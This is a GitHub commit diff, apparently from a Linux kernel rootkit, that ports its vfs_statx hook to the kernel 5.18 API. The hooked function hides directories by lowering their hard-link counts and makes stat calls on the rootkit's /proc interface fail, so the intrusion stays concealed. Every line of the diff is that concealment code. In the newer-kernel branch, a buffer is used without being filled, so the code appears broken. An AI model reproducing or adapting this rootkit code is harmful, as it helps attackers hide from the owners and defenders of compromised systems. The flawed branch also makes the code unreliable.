Skip to content

Commit d7e7df9

Browse files
author
JNE
committed
stat: Fix vfs_statx API change from kernel 5.18
1 parent 1b1727e commit d7e7df9

File tree

1 file changed

+16
-0
lines changed

1 file changed

+16
-0
lines changed

src/sys.c

+16
Original file line numberDiff line numberDiff line change
@@ -1009,8 +1009,13 @@ static __always_inline struct pt_regs *ftrace_get_regs(struct ftrace_regs *fregs
10091009
}
10101010
#endif
10111011

1012+
#if LINUX_VERSION_CODE < KERNEL_VERSION(5,18,0)
10121013
static long (*real_vfs_statx)(int, const char __user *, int, struct kstat *, u32);
10131014
static long m_vfs_statx(int dfd, const char __user *filename, int flags, struct kstat *stat, u32 request_mask) {
1015+
#else
1016+
static long (*real_vfs_statx)(int, struct filename *, int, struct kstat *, u32);
1017+
static long m_vfs_statx(int dfd, struct filename *filename, int flags, struct kstat *stat, u32 request_mask) {
1018+
#endif
10141019
/** XXX do I need this much */
10151020
char kernbuf[PROCNAME_MAXLEN+6] = {0};
10161021

@@ -1022,20 +1027,31 @@ static long m_vfs_statx(int dfd, const char __user *filename, int flags, struct
10221027
* and update hard-links counter accordingly.
10231028
* 2 make stat fail for /proc interface.
10241029
* */
1030+
1031+
#if LINUX_VERSION_CODE < KERNEL_VERSION(5,18,0)
10251032
if (!copy_from_user((void*)kernbuf, filename, sizeof(kernbuf)-1)) {
10261033
if (strlen(kernbuf) > 0 && S_ISDIR(stat->mode)) {
1034+
#else
1035+
if (strlen(filename->name) > 0 && S_ISDIR(stat->mode)) {
1036+
#endif
10271037
int count = fs_is_dir_inode_hidden((const char *)kernbuf, stat->ino);
10281038
if (count > 0) {
10291039
prinfo("%s: file match ino=%llu nlink=%d count=%d\n", __func__, stat->ino, stat->nlink, count);
10301040

10311041
/* Hit(s) -> decrement hard-link counts */
10321042
stat->nlink -= count;
10331043
}
1044+
#if LINUX_VERSION_CODE < KERNEL_VERSION(5,18,0)
10341045
} else if (strstr(kernbuf, PROCNAME)) {
1046+
#else
1047+
} else if (strstr(filename->name, PROCNAME)) {
1048+
#endif
10351049
/* Mauro? */
10361050
rv = -ENOENT;
10371051
}
1052+
#if LINUX_VERSION_CODE < KERNEL_VERSION(5,18,0)
10381053
}
1054+
#endif
10391055
return rv;
10401056
}
10411057

0 commit comments

Comments
 (0)